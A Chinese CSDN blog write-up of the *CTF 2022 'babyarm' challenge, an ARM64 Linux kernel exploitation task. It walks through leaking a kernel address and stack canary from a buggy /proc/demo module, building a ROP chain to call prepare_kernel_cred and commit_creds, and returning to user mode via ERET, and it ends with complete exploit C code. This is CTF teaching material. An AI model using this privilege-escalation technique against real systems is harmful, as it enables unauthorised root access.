*ctf 2022 babyarm

本文详述了一道涉及ARM架构内核的CTF竞赛题目,通过分析启动脚本和内核模块,揭示了如何利用内核漏洞进行ROP链构造,实现权限提升并最终返回用户态执行shell。过程中涉及到地址泄露、Canary值获取、返回地址控制以及内核态到用户态的转换。
摘要由CSDN通过智能技术生成

2022年的一场分站赛的题,当时只有5个解,但是赛后评价似乎不是特别难,这里来复现一下
一道arm架构的内核题,先来看看启动脚本:

#! /bin/sh
#
# run.sh
# Copyright (C) 2022 hal <hal@server20>
#
# Distributed under terms of the MIT license.
#


timeout --foreground 60 qemu-system-aarch64 \
    -m 128M \
    -machine virt \
    -cpu max \
    -kernel ./Image \
    -append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \
    -initrd ./initramfs.cpio.gz \
    -monitor /dev/null \
    -smp cores=1,threads=1 \
    -nographic

可以看到是一个单内核单线程的题,用的是qemu-system-aarch64启动,那么就判断是个arm架构题且可以排除条
件竞争类的漏洞了

然后看看启动脚本

#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys

insmod /home/pwn/demo.ko
chown -R 1000:1000 /home/pwn

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

禁止打印调试信息,想看的话删了那个echo就行,可以看到我们的究极目的是提权然后读root权限的flag
然后解包看看ko:
在这里插入图片描述

设备名叫demo,主要实现了read和write
在这里插入图片描述

先来看read,这里ida反汇编出来的伪代码有点问题,memcpy那里的参数少了点东西
我们来直接看汇编
在这里插入图片描述

可以看到length这个参数和1<<12比较了一下之后就没再动过了,然后再执行memcpy的时候,参数1和参数2分别是demo_buf和buffer,所以其实memcpy是把内核栈上的长度不超过0x1000大小的数据复制到全局变量demo_buf中

然后又把demo_buf中的数据拷贝到用户态缓冲区

再来看看write

在这里插入图片描述

这里write的功能也非常简单,就是将用户输入的东西存进内核栈中

read和write都有大范围的溢出,所以其实这道题就是一个简单的kernel rop和arm的融合体,考察的应该就是选手在arm架构写kernel rop的能力。

这里踩了一个小坑,还是要自己下源码自己编译,直接下来的版本过低导致会有报错。

启动脚本里加个-s,启动之后另开一个终端,输入

gdb-multiarch

然后执行

set architecture aarch64
target remote localhost:1234

然后就可以调试了

接下来是泄露地址,因为有大范围的越界读,所以直接去读内核栈上的东西,然后打印出来看看先

int main()
{
	int fd = open("/proc/demo",2);
	if (fd < 0)
	{
		puts("open error");
		exit(-1);
	}
	size_t leak[0x200] = {0};
	read(fd, leak, 0x1f8);
	for (int i = 0; i < 36; i++)
	{
		printf("id %d : 0x%llx\n",i,leak[i]);
	}
	return 0;
};

在这里插入图片描述

可以看到idx为2的地方应该是一个内核上的地址,那么偏移是多少呢,我们将kalsr关闭,然后再来一次看看:
在这里插入图片描述

所以我们就可以通过计算得到偏移,从而拿到kernel_base,这里提一嘴,似乎远程并没有开kalsr,但是拿到的启动脚本里也的确没有nokalsr, 可能是不同的qemu默认启动kalsr的情况不一样?不过由于是赛后复现,启动脚本怎么给的我们怎么来就是了,反正kalsr也不难bypass

顺便拿到了commit_creds和prepare_kernel_cred 的地址:

commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;

然后是找一下canary,它应该是一个八字节的随机值,并且末尾是\x00,因为要截断

看了一下,显然idx为12的地方的值非常满足要求,我们来试试就知道了

#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>

size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;

void shell(void)
{
	char buf[0x40] = {0};
	int fd = open("/flag",0);
	read(fd, buf, 0x40);
	write(1, buf, 0x40);
}

int main()
{
	int fd = open("/proc/demo",2);
	if (fd < 0)
	{
		puts("open error");
		exit(-1);
	}
	size_t leak[0x200] = {0};
	read(fd, leak, 0x1f8);
	for (int i = 0; i < 36; i++)
	{
		printf("id %d : 0x%llx\n",i,leak[i]);
	}
	size_t offset=leak[2]-0xffff8000082376f8;
	size_t kernel_base=0xffff800008000000+offset;
	size_t canary=leak[12];
	printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
	leak[13]=1;
	leak[14]=2;
	leak[15]=3;
	leak[16]=4;
	leak[17]=5;
	leak[18]=6;	
	leak[19]=7;
	leak[20]=8;
	write(fd, leak, 0x200);
	close(fd);
	return 0;
};

之前我们能够看到idx为12和16的值是一样的,现在我们进行溢出,让idx16位置的值不是canary,看看会不会报错

在这里插入图片描述

可以看到的确报了stack-protector,这个就是校验canary失败了

然后我们将idx16的位置写上canary,别的东西不动,再运行一次
在这里插入图片描述

此时的报错已经不再是stack-protector,说明canary的检测已经通过了,至于为什么会报错是因为返回地址我们也是随便写的。从这里也能看出来,返回地址是在idx18的位置。

到这里,我们拿到了kernel_base和canary,知道了返回地址的位置,剩下要进行的工作就是寻找好用的gadget,写好rop链即可。

首先我们想要执行的是prepare_kernel_cred(0),第一个参数对应的寄存器是X0,所以要找类似mov X0,0或者mov W0,0的gadget

来看这个gadget
在这里插入图片描述

这里将W0设为0,并且根据栈上内容设置一些寄存器,最后RET返回,这里注意RET返回的是X30地址,而不是像x86那样从栈上获取返回地址。所以这里我们既可以控制X0,又可以控制返回地址,是个非常好用的gadget

找到了gadget我们要找是栈上哪个位置的数据控了X30,因为RET是根据X30返回的,这里用一种个人认为无脑但是有效的办法,直接通过报错来看:

size_t offset=leak[2]-0xffff8000082376f8;
	size_t kernel_base=0xffff800008000000+offset;
	size_t canary=leak[12];
	size_t gadget=kernel_base+0x16950;
	printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
	leak[13]=1;
	leak[14]=2;
	leak[15]=3;
	leak[16]=canary;
	leak[17]=5;
	leak[18]=gadget;	
	for(int i=19;i<30;i++)leak[i]=i;
	write(fd, leak, 0x200);

然后去看call trace,PC在哪里崩溃,就说明哪里是下一个返回地址
在这里插入图片描述

可以看到这里是在0x16崩溃的,那么0x16也就是idx为22的地方装的是下一步的返回地址

然后用同样的方法继续试探:

leak[16]=canary;
	leak[18]=gadget;
	leak[22]=prepare_kernel_cred+4;
	for(int i=23;i<40;i++)leak[i]=i;
	write(fd, leak, 0x200);
	close(fd);

这里注意,在写函数地址的时候要+4,因为aarch64架构中在开辟函数栈帧的时候,始终用的都是X30,可以看个例子:
在这里插入图片描述
这里可以看到,它是先把X30存到栈上,然后在函数退出的时候把之前放在栈上的地址取回来,从而实现函数的进入与退出,但是由于我们是直接控的X30寄存器实现的跳转进指定函数,所以这个X30取来取去都是被调用函数,这里就需要避开第一个STP指令,这样就可以通过布置栈结构,进行指定函数调用链的执行。

回到刚才的地方,我们继续通过这种方式进行试探
在这里插入图片描述

这次是跳到了0x20,也就是32,所以下一个返回地址是idx为32的地方

我们在idx32的地方写上commit_creds+4

到这里已经成功提权,还需要返回用户态

需要知道的是ARM64使用SVC指令进入内核态,使用ERET指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:

  • SP_EL0保存用户态的栈指针
  • ELR_EL1保存要返回的用户态PC指针
  • SPSR_EL1保存一个值,暂不知道是何用处,但他的值是固定的0x80001000

我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了

   0xffff800008011fe4:	msr	sp_el0, x23
   0xffff800008011fe8:	tst	x22, #0x10
   0xffff800008011fec:	b.eq	0xffff800008011ff4  // b.none
   0xffff800008011ff0:	nop
   0xffff800008011ff4:	ldr	x0, [x28, #3432]
   0xffff800008011ff8:	b	0xffff800008012024

   0xffff800008012024:	msr	elr_el1, x21
   0xffff800008012028:	msr	spsr_el1, x22
   0xffff80000801202c:	ldp	x0, x1, [sp]
   0xffff800008012030:	ldp	x2, x3, [sp, #16]
   0xffff800008012034:	ldp	x4, x5, [sp, #32]
   0xffff800008012038:	ldp	x6, x7, [sp, #48]
   0xffff80000801203c:	ldp	x8, x9, [sp, #64]
   0xffff800008012040:	ldp	x10, x11, [sp, #80]
   0xffff800008012044:	ldp	x12, x13, [sp, #96]
   0xffff800008012048:	ldp	x14, x15, [sp, #112]
   0xffff80000801204c:	ldp	x16, x17, [sp, #128]
   0xffff800008012050:	ldp	x18, x19, [sp, #144]
   0xffff800008012054:	ldp	x20, x21, [sp, #160]
   0xffff800008012058:	ldp	x22, x23, [sp, #176]
   0xffff80000801205c:	ldp	x24, x25, [sp, #192]
   0xffff800008012060:	ldp	x26, x27, [sp, #208]
   0xffff800008012064:	ldp	x28, x29, [sp, #224]
   0xffff800008012068:	nop
   0xffff80000801206c:	nop
   0xffff800008012070:	nop

可以看到恢复sp_el0用的是X23,ELR_EL1用的是X21,SPSR_EL1用的是X22,而根据修改过的rop链继续探测:

leak[16]=canary;
for(int i=17;i<55;i++)leak[i]=i;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
leak[32]=commit_creds+4;
write(fd, leak, 0x200);

可以得到如下结果:
在这里插入图片描述

即下一个返回地址应该是idx为36的地方,且X21的值来自idx25,X22来自idx26,X23来自idx27
所以最后形成了这样的rop链

leak[16]=canary;
for(int i=17;i<55;i++)leak[i]=i;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
leak[25]=(size_t)shell;
leak[26]=0x80001000;
leak[27]=(size_t)leak;
leak[32]=commit_creds+4;
leak[36]=kernel_base+0x11fe4;

成功拿到flag:
在这里插入图片描述

完整exp:

#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
size_t gadget2 = 0;
void shell(void)
{
	char buf[0x40] = {0};
	int fd = open("/flag",0);
	read(fd, buf, 0x40);
	write(1, buf, 0x40);
}

int main()
{
	int fd = open("/proc/demo",2);
	if (fd < 0)
	{
		puts("open error");
		exit(-1);
	}
	size_t leak[0x200] = {0};
	read(fd, leak, 0x1f8);
	for (int i = 0; i < 36; i++)
	{
		printf("id %d : 0x%llx\n",i,leak[i]);
	}
	size_t offset=leak[2]-0xffff8000082376f8;
	size_t kernel_base=0xffff800008000000+offset;
	size_t canary=leak[12];
	size_t gadget=kernel_base+0x16950;
	size_t	commit_creds = kernel_base + 0xa2258;
	size_t prepare_kernel_cred = kernel_base + 0xa24f8;
	printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
	leak[16]=canary;
	for(int i=17;i<55;i++)leak[i]=i;
	leak[18]=gadget;
	leak[22]=prepare_kernel_cred+4;
	leak[25]=(size_t)shell;
	leak[26]=0x80001000;
	leak[27]=(size_t)leak;
	leak[32]=commit_creds+4;
	leak[36]=kernel_base+0x11fe4;
	write(fd, leak, 0x200);
	close(fd);
	
	return 0;
};
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值